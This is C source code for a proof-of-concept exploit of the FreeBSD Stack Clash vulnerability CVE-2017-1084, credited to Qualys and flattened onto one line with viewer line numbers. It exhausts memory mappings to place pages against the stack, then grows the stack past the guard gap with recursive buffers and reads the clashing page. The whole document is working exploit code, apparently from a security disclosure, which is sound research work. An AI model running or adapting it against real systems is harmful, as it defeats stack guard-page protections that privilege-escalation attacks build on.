|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67  |  /*  * FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0)  * Copyright (C) 2017 Qualys, Inc.  *  * This program is free software: you can redistribute it and/or modify  * it under the terms of the GNU General Public License as published by  * the Free Software Foundation, either version 3 of the License, or  * (at your option) any later version.  *  * This program is distributed in the hope that it will be useful,  * but WITHOUT ANY WARRANTY; without even the implied warranty of  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the  * GNU General Public License for more details.  *  * You should have received a copy of the GNU General Public License  * along with this program.If not, see <http://www.gnu.org/licenses/>.  */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/time.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * last_page; static void clash(void) { for (;;) { const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page <= last_page) die(); if (page == MAP_FAILED) break; last_page = page; } if (!last_page) die(); } static void smash_no_jump(const size_t smash_size) { char buf[1024]; memset(buf, 'A', sizeof(buf)); if (smash_size > sizeof(buf)) smash_no_jump(smash_size - sizeof(buf)); } #define SGROWSIZ((size_t)128UL*1024)/* amount to grow stack */ int main(void) { static const struct rlimit core; if (setrlimit(RLIMIT_CORE, &core)) die(); clash(); smash_no_jump(SGROWSIZ / 2 * 3); printf("char at %p: %02x\n", last_page, *last_page); exit(EXIT_SUCCESS); }  |